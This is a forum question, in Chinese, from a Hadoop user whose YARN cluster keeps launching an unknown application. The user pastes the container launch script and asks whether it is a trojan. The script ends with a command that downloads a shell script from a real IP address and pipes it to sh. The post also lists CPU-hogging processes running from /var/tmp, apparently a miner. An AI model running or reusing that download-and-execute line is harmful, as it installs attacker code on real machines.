每次启动纱线时,我都会发现一个无法完成的任务请求,但我无法获得任何有关它的日志,也没有发现任何错误。我在名为launch_container.sh的临时目录中找到了一个文件,如下所示:
enter code here#!/bin/bash
export NM_HTTP_PORT="8042"
export LOCAL_DIRS="/home/ubuntu/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527211944644_0001"
export HADOOP_COMMON_HOME="/root/hadoop-2.8.3"
export JAVA_HOME="/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.181-2.6.14.8.el7_5.x86_64/jre"
export NM_AUX_SERVICE_mapreduce_shuffle="AAA0+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
"
export HADOOP_YARN_HOME="/root/hadoop-2.8.3"
export HADOOP_TOKEN_FILE_LOCATION="/home/ubuntu/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527211944644_0001/container_1527211944644_0001_02_000001/container_tokens"
export NM_HOST="VM_0_11_centos"
export APPLICATION_WEB_PROXY_BASE="/proxy/application_1527211944644_0001"
export JVM_PID="$$"
export USER="dr.who"
export HADOOP_HDFS_HOME="/root/hadoop-2.8.3"
export PWD="/home/ubuntu/hadoop/tmp/nm-local-dir/usercache/dr.who/appcache/application_1527211944644_0001/container_1527211944644_0001_02_000001"
export CONTAINER_ID="container_1527211944644_0001_02_000001"
export HOME="/home/"
export NM_PORT="44381"
export LOGNAME="dr.who"
export APP_SUBMIT_TIME_ENV="1527212057989"
export MAX_APP_ATTEMPTS="2"
export HADOOP_CONF_DIR="/root/hadoop-2.8.3/etc/hadoop"
export MALLOC_ARENA_MAX="4"
export LOG_DIRS="/root/hadoop-2.8.3/logs/userlogs/application_1527211944644_0001/container_1527211944644_0001_02_000001"
exec /bin/bash -c "curl 185.222.210.59/x_wcr.sh | sh"
hadoop_shell_errorcode=$?
if [ $hadoop_shell_errorcode -ne 0 ]
then
exit $hadoop_shell_errorcode
fi
我发现它会从网站下载一些东西,并且我已经将我的计算机从 ubuntu 重新安装到 centos,但这个问题仍然存在,尽管我在其他计算机上找不到同样的问题。这个问题到底是正常的东西还是木马?请提供一些有关如何解决此问题的提示,谢谢。与本站“ http://ist-deacuna-s1.syr.edu:8088/cluster/apps ”相同
这种情况是我关闭wget的端口后产生的,当我打开wget的端口时,会添加jps看不到的session,只能通过commmand观察
ps -ef|grep java
ubuntu 7484 1 97 07:16 ? 00:01:58 /var/tmp/java -c /var/tmp/w.conf
ubuntu 7496 1 96 07:16 ? 00:01:57 /var/tmp/java -c /var/tmp/w.conf
这两个会话总是占用我所有的 cpu。